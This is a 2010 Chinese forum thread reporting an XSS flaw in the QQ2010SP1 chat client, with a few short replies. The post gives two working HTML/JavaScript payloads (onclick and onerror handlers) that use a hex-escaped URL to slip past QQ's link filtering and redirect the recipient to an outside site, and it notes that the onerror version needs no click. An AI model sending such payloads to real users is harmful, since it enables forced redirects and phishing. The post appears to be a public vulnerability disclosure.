QQ腾讯2010SP1发布即现严重漏洞

佳人 · 发表于 2010-7-28 14:43:35

马上注册，结交更多好友，享用更多功能，让你轻松玩转社区。

您需要登录才可以下载或查看，没有帐号？加入会员

x

腾讯QQ一向是腾讯主打的产品，意想不到前天发布的QQ2010SP1竟然有如此大漏洞。
首先囧一下:脚本出错还会提示错误

1、消息记录的Javascript、Html标签没有屏蔽

2、消息盒子Javascript、Html标签没有屏蔽

3、小实验
1、发送代码：<input onclick="window.location=’x68x74x74x70x3ax2fx2fx77x77x77x2ex62x6fx77x6fx73x2ex63x6fx6d’" />
因为腾讯会自动将url转换，我们必须混淆url才能发送

4、超牛代码
<img src=’tetet’ onerror="window.location=’x68x74x74x70x3ax2fx2fx77x77x77x2ex62x6fx77x6fx73x2ex63x6fx6d’"/>
因为要点击才能触发，想到一个不用点击就能触发的代码。
5、希望腾讯快点修复，这个漏洞非同小可
6、本漏洞由TGL发现。

注意，本代码仅供研究之用，请勿用于不当用途。

lvjiajun · 发表于 2010-7-28 15:46:41

微博上到处都是，也不知道有什么用

浪漫灬小溪 · 发表于 2010-7-28 15:59:15

很有“鸭梨”的说

小猪欧文 · 发表于 2010-7-28 17:36:05

- -我没有发现问题。。

qq1 · 发表于 2010-7-28 23:11:16

我也没有发现问题

帐号		自动登录	找回密码
密码			加入会员

[消息] QQ腾讯2010SP1发布即现严重漏洞

马上注册，结交更多好友，享用更多功能，让你轻松玩转社区。

哪里找我们

关于我们